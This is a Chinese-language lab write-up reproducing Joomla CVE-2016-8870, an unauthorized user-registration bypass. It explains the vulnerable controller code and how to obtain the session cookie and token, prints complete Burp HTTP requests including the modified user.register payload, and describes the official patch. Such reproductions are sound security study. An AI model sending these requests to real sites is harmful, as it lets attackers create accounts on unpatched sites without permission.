文章目录
  1. 1. 漏洞描述
  2. 2. 相关技术和工具简介
  3. 3. 相关工具源码下载以及Web环境搭建过程
  4. 4. 相关代码分析
    1. 4.1. 漏洞代码分析以及解决方法
    2. 4.2. 实际情况
  5. 5. 渗透测试过程
    1. 5.1. 通过burpsuite抓包发送注册请求
    2. 5.2. 补丁修复

漏洞描述

Joomla是一个自由开源的内容管理系统,在其3.4.4到3.6.3的版本中存在两个漏洞:CVE-2016-8869,CVE-2016-8870。

在这里仅分析CVE-2016-8870,利用该漏洞,攻击者可以在网站关闭注册的情况下注册用户(默认状态下用户需要用邮件激活,但需要开启注册功能才能激活)。Joomla官方已对此漏洞发布升级公告。

相关技术和工具简介

CVE:2016-8870
虚拟机:VMware Fusion
主机操作系统:MAC OSX
虚拟机操作系统:windows7
php建站环境:
phpstudy(PHP+MySQL+phpMyAdmin+ZendOptimizer)
抓包工具:burpsuite
测试浏览器:Mozilla Firefox

相关工具源码下载以及Web环境搭建过程

通过wget命令下载github上joomla对应漏洞版本。

wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz

然后解压到对应文件夹(WWW文件夹下)

在phpmyadmin里创建数据库表单。

1.jpg

按照提示搭建网站。

2.jpg
渗透环境搭建完毕。

相关代码分析

漏洞代码分析以及解决方法

存在漏洞的版本中我们可以看到一个有趣的现象,即存在两个用于用户注册的方法:
1.位于components/com_users/controllers/registration.php中的UsersControllerRegistration::register()
有代码检查是否允许注册。

// If registration is disabled - Redirect to login page. 
if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0) 
{ 
$this->setRedirect(JRoute::_('index.php?
option=com_users&view=login', false));
 return false; 
 }

通过测试可知正常的注册默认使用的是UsersControllerRegistration::register()

2.在位于components/com_users/controllers/user.php中的UsersControllerUser::register()
没有代码检查是否允许注册。

可以通过第二种注册方式绕过注册检验。

修复方案:升级到joomla最新版本

实际情况

实际攻击时,joomla默认是关闭注册的。
因为有session验证,需要更改发包的cookie和token。

可通过访问index.php抓包获取cookie。
3.jpg
通过看index.php源码获取token。
4.jpg
构造请求包同之前的抓包内容相同,只需要更改cookie和token。

渗透测试过程

通过burpsuite抓包发送注册请求

主页默认注册功能关闭。
5.jpg
进入后台,打开注册功能。
回到主页。
6.jpg

进入创建账号
7.jpg
打开burp抓包。
8.jpg
请求包如下:

POST /Joomla_3.6.3-Stable-Full_Package/index.php/component/users/?task=registration.register HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/Joomla_3.6.3-Stable-Full_Package/index.php/component/users/?view=registration
Content-Type: multipart/form-data; boundary=---------------------------191272338010927
Content-Length: 1067
Cookie: 992f2039e48467709d6be10405b3f315=u1fbtsgoroljfrch92fp06gkb6; 9d4bb4a09f511681369671a08beff228=llas1g23eocp6ollka96n1ab47; db40ec8731a11c0a68bac5e22ce3f893=nqfmmiplrb6f9s8e5gbgj9e4v2; 83db29fcaa4faf18baf150a30cbe21e2=4rdpvfmheaqbe9nnseccqju6c3
Connection: keep-alive
    Upgrade-Insecure-Requests: 1

-----------------------------191272338010927
Content-Disposition: form-data; name="jform[name]"

hacker1
-----------------------------191272338010927
Content-Disposition: form-data; name="jform[username]"

hacker1
-----------------------------191272338010927
Content-Disposition: form-data; name="jform[password1]"

123456
-----------------------------191272338010927
Content-Disposition: form-data; name="jform[password2]"

123456
-----------------------------191272338010927
Content-Disposition: form-data; name="jform[email1]"

2@qq.com
-----------------------------191272338010927
Content-Disposition: form-data; name="jform[email2]"

2@qq.com
-----------------------------191272338010927
Content-Disposition: form-data; name="option"

com_users
-----------------------------191272338010927
Content-Disposition: form-data; name="task"

registration.register
-----------------------------191272338010927
Content-Disposition: form-data; name="6daaa4fabc7a555dc064a9b67d2701f4"

1
-----------------------------191272338010927--

在后台关闭注册。可以看到首页并没有注册选项。
9.jpg
10.jpg
注册功能关闭了。
此时发请求包并不能注册。
在burp里将将请求包进行如下修改即可使用存在漏洞的函数进行注册:

registration.register -> user.register
jform[*] -> user[*]

更改后的请求包:

POST  /Joomla_3.6.3-Stable-Full_Package/index.php/component/users/?task= user.register HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/Joomla_3.6.3-Stable-Full_Package/index.php/component/users/?view=registration
Content-Type: multipart/form-data; boundary=---------------------------191272338010927
Content-Length: 1067
Cookie: 992f2039e48467709d6be10405b3f315=u1fbtsgoroljfrch92fp06gkb6; 9d4bb4a09f511681369671a08beff228=llas1g23eocp6ollka96n1ab47; db40ec8731a11c0a68bac5e22ce3f893=nqfmmiplrb6f9s8e5gbgj9e4v2; 83db29fcaa4faf18baf150a30cbe21e2=4rdpvfmheaqbe9nnseccqju6c3
Connection: keep-alive
Upgrade-Insecure-Requests: 1

-----------------------------191272338010927
Content-Disposition: form-data; name="user[name]"

hacker1
-----------------------------191272338010927
Content-Disposition: form-data; name=" user [username]"

hacker1
-----------------------------191272338010927
Content-Disposition: form-data; name=" user [password1]"

123456
-----------------------------191272338010927
Content-Disposition: form-data; name=" user [password2]"

123456
-----------------------------191272338010927
Content-Disposition: form-data; name=" user [email1]"

2@qq.com
-----------------------------191272338010927
Content-Disposition: form-data; name=" user [email2]"

2@qq.com
-----------------------------191272338010927
Content-Disposition: form-data; name="option"

com_users
-----------------------------191272338010927
Content-Disposition: form-data; name="task"

user.register
-----------------------------191272338010927
Content-Disposition: form-data; name="6daaa4fabc7a555dc064a9b67d2701f4"

1
-----------------------------191272338010927--

发包,然后后台可以看到在关闭注册的情况下,注册成功。
11.jpg

漏洞复现完成。

补丁修复

官方删除了UsersControllerUser::register()的注册方法。

文章目录
  1. 1. 漏洞描述
  2. 2. 相关技术和工具简介
  3. 3. 相关工具源码下载以及Web环境搭建过程
  4. 4. 相关代码分析
    1. 4.1. 漏洞代码分析以及解决方法
    2. 4.2. 实际情况
  5. 5. 渗透测试过程
    1. 5.1. 通过burpsuite抓包发送注册请求
    2. 5.2. 补丁修复